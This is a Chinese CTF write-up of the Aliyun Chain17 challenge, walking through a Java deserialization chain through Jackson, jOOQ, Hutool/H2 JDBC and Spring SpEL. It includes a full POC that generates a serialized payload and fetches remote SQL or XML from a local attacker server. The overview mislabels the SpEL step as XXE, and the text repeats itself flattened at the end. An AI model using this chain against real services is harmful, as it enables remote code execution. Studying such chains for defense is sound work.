aliyun ctf chain17 回顾(超详细解读)
字数 1065 2025-08-22 12:22:30

Aliyun CTF Chain17 漏洞分析与利用详解

漏洞概述

本文详细分析Aliyun CTF Chain17题目中涉及的漏洞利用链,主要涉及H2数据库JDBC攻击、Hutool工具库中的不安全反射使用以及Spring框架的XML外部实体注入漏洞。

核心漏洞点

1. H2数据库JDBC攻击

H2数据库允许通过JDBC URL执行初始化脚本,攻击者可以利用此特性执行任意命令:

CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "su18";}';
CALL EXEC('calc');

攻击POC:

String url = "jdbc:h2:mem:test;init=runscript from 'http://localhost:7777/poc.sql'";
Class.forName("org.h2.Driver");
DriverManager.getConnection(url);

2. Hutool工具库中的不安全使用

Hutool的PooledDSFactory类可以被利用来触发H2 JDBC攻击:

String url = "jdbc:h2:mem:test;init=runscript from 'http://localhost:7777/poc.sql'";
Setting setting = new Setting();
setting.set("url", url);
PooledDSFactory pooledDSFactory = new PooledDSFactory(setting);
pooledDSFactory.getDataSource().getConnection();

关键点:

  • 使用initialSize参数可以立即触发连接:
    setting.put("initialSize", "1");
    

3. 反序列化利用链

3.1 Jackson利用链

通过Jackson的POJONode触发toString()方法:

ClassPool classPool = ClassPool.getDefault();
classPool.appendClassPath(new LoaderClassPath(Thread.currentThread().getContextClassLoader()));
CtClass ctClass = classPool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod ctMethod = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(ctMethod);
ctClass.toClass();

POJONode pojoNode = new POJONode(pooledDSFactory);
pojoNode.toString();

3.2 AtomicReference利用链

利用AtomicReferencetoString()方法触发:

Object object = new AtomicReference<>(pojoNode);
JSONObject jsonObject = new JSONObject();
jsonObject.put("aaa", object);

3.3 Hessian序列化

使用Hessian序列化时需要注意写入方式:

hessian2Output.writeMapBegin(JSONObject.class.getName());
hessian2Output.writeObject("whatever");
hessian2Output.writeObject(object);
hessian2Output.writeMapEnd();

4. Spring框架SPEL注入

通过ClassPathXmlApplicationContext加载恶意XML实现RCE:

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="evil" class="java.lang.String">
        <constructor-arg value="#{T(Runtime).getRuntime().exec('open -a Calculator')}"/>
    </bean>
</beans>

触发方式:

new ClassPathXmlApplicationContext("http://127.0.0.1:7777/poc.xml");

完整利用链分析

1. EventListenerList -> toString

利用EventListenerListreadObject触发toString

EventListenerList eventListenerList = new EventListenerList();
UndoManager undoManager = new UndoManager();
Vector vector = (Vector) ReflectUtil.getFieldValue(undoManager, "edits");
vector.add(pojoNode);
ReflectUtil.setFieldValue(eventListenerList, "listenerList", 
    new Object[]{InternalError.class, undoManager});

2. toString -> 任意get

通过Jackson的POJONodetoString转换为任意get方法调用。

3. 任意get -> newInstance

利用jOOQ库中的Convert$ConvertAll.from()方法实现任意类实例化:

Class clazz1 = Class.forName("org.jooq.impl.Dual");
Constructor constructor1 = clazz1.getDeclaredConstructors()[0];
Object table = constructor1.newInstance();

Class clazz2 = Class.forName("org.jooq.impl.TableDataType");
Constructor constructor2 = clazz2.getDeclaredConstructors()[0];
Object tableDataType = constructor2.newInstance(table);

Class clazz3 = Class.forName("org.jooq.impl.Val");
Constructor constructor3 = clazz3.getDeclaredConstructor(Object.class, DataType.class, boolean.class);
Object val = constructor3.newInstance("whatever", tableDataType, false);

Class clazz4 = Class.forName("org.jooq.impl.ConvertedVal");
Constructor constructor4 = clazz4.getDeclaredConstructors()[0];
Object convertedVal = constructor4.newInstance(val, tableDataType);

Object value = "http://127.0.0.1:7777/poc.xml";
Class type = ClassPathXmlApplicationContext.class;
ReflectUtil.setFieldValue(val, "value", value);
ReflectUtil.setFieldValue(tableDataType, "uType", type);

完整POC

public class PocServer {
    public static void main(String[] args) throws Exception {
        gen("http://127.0.0.1:7777/poc.xml");
    }

    public static void gen(String url) throws Exception {
        // 构造H2 JDBC攻击
        String jdbcUrl = "jdbc:h2:mem:test;init=runscript from 'http://localhost:7777/poc.sql'";
        Setting setting = new Setting();
        setting.set("url", jdbcUrl);
        PooledDSFactory pooledDSFactory = new PooledDSFactory(setting);

        // 修改Jackson的BaseJsonNode类
        ClassPool classPool = ClassPool.getDefault();
        classPool.appendClassPath(new LoaderClassPath(Thread.currentThread().getContextClassLoader()));
        CtClass ctClass = classPool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
        CtMethod ctMethod = ctClass.getDeclaredMethod("writeReplace");
        ctClass.removeMethod(ctMethod);
        ctClass.toClass();

        // 构造jOOQ利用链
        Class clazz1 = Class.forName("org.jooq.impl.Dual");
        Constructor constructor1 = clazz1.getDeclaredConstructors()[0];
        constructor1.setAccessible(true);
        Object table = constructor1.newInstance();

        Class clazz2 = Class.forName("org.jooq.impl.TableDataType");
        Constructor constructor2 = clazz2.getDeclaredConstructors()[0];
        constructor2.setAccessible(true);
        Object tableDataType = constructor2.newInstance(table);

        Class clazz3 = Class.forName("org.jooq.impl.Val");
        Constructor constructor3 = clazz3.getDeclaredConstructor(Object.class, DataType.class, boolean.class);
        constructor3.setAccessible(true);
        Object val = constructor3.newInstance("whatever", tableDataType, false);

        Class clazz4 = Class.forName("org.jooq.impl.ConvertedVal");
        Constructor constructor4 = clazz4.getDeclaredConstructors()[0];
        constructor4.setAccessible(true);
        Object convertedVal = constructor4.newInstance(val, tableDataType);

        Object value = url;
        Class type = ClassPathXmlApplicationContext.class;
        ReflectUtil.setFieldValue(val, "value", value);
        ReflectUtil.setFieldValue(tableDataType, "uType", type);

        // 构造POJONode
        POJONode pojoNode = new POJONode(convertedVal);

        // 构造EventListenerList链
        EventListenerList eventListenerList = new EventListenerList();
        UndoManager undoManager = new UndoManager();
        Vector vector = (Vector) ReflectUtil.getFieldValue(undoManager, "edits");
        vector.add(pojoNode);
        ReflectUtil.setFieldValue(eventListenerList, "listenerList", 
            new Object[]{InternalError.class, undoManager});

        // 生成序列化数据
        byte[] data = SerializeUtil.serialize(eventListenerList);
        System.out.println(Base64.getEncoder().encodeToString(data));
    }
}

防御措施

  1. H2数据库安全配置

    • 限制H2数据库的JDBC URL参数
    • 禁止从远程加载初始化脚本
  2. Hutool安全使用

    • 避免使用不安全的反射方法
    • PooledDSFactory的URL参数进行严格校验
  3. 反序列化防护

    • 使用安全的序列化框架
    • 实现ObjectInputFilter限制反序列化类
  4. Spring安全配置

    • 禁用SPEL表达式
    • 限制XML外部实体加载

总结

本漏洞链综合利用了多个组件的安全问题,从H2数据库的JDBC攻击到Hutool的不安全反射,再到Spring框架的SPEL注入,展示了复杂漏洞链的构造思路。理解这些漏洞的本质和利用方式,有助于我们更好地防御类似攻击。

Aliyun CTF Chain17 漏洞分析与利用详解 漏洞概述 本文详细分析Aliyun CTF Chain17题目中涉及的漏洞利用链,主要涉及H2数据库JDBC攻击、Hutool工具库中的不安全反射使用以及Spring框架的XML外部实体注入漏洞。 核心漏洞点 1. H2数据库JDBC攻击 H2数据库允许通过JDBC URL执行初始化脚本,攻击者可以利用此特性执行任意命令: 攻击POC: 2. Hutool工具库中的不安全使用 Hutool的 PooledDSFactory 类可以被利用来触发H2 JDBC攻击: 关键点: 使用 initialSize 参数可以立即触发连接: 3. 反序列化利用链 3.1 Jackson利用链 通过Jackson的 POJONode 触发 toString() 方法: 3.2 AtomicReference利用链 利用 AtomicReference 的 toString() 方法触发: 3.3 Hessian序列化 使用Hessian序列化时需要注意写入方式: 4. Spring框架SPEL注入 通过 ClassPathXmlApplicationContext 加载恶意XML实现RCE: 触发方式: 完整利用链分析 1. EventListenerList -> toString 利用 EventListenerList 的 readObject 触发 toString : 2. toString -> 任意get 通过Jackson的 POJONode 将 toString 转换为任意get方法调用。 3. 任意get -> newInstance 利用jOOQ库中的 Convert$ConvertAll.from() 方法实现任意类实例化: 完整POC 防御措施 H2数据库安全配置 : 限制H2数据库的JDBC URL参数 禁止从远程加载初始化脚本 Hutool安全使用 : 避免使用不安全的反射方法 对 PooledDSFactory 的URL参数进行严格校验 反序列化防护 : 使用安全的序列化框架 实现 ObjectInputFilter 限制反序列化类 Spring安全配置 : 禁用SPEL表达式 限制XML外部实体加载 总结 本漏洞链综合利用了多个组件的安全问题,从H2数据库的JDBC攻击到Hutool的不安全反射,再到Spring框架的SPEL注入,展示了复杂漏洞链的构造思路。理解这些漏洞的本质和利用方式,有助于我们更好地防御类似攻击。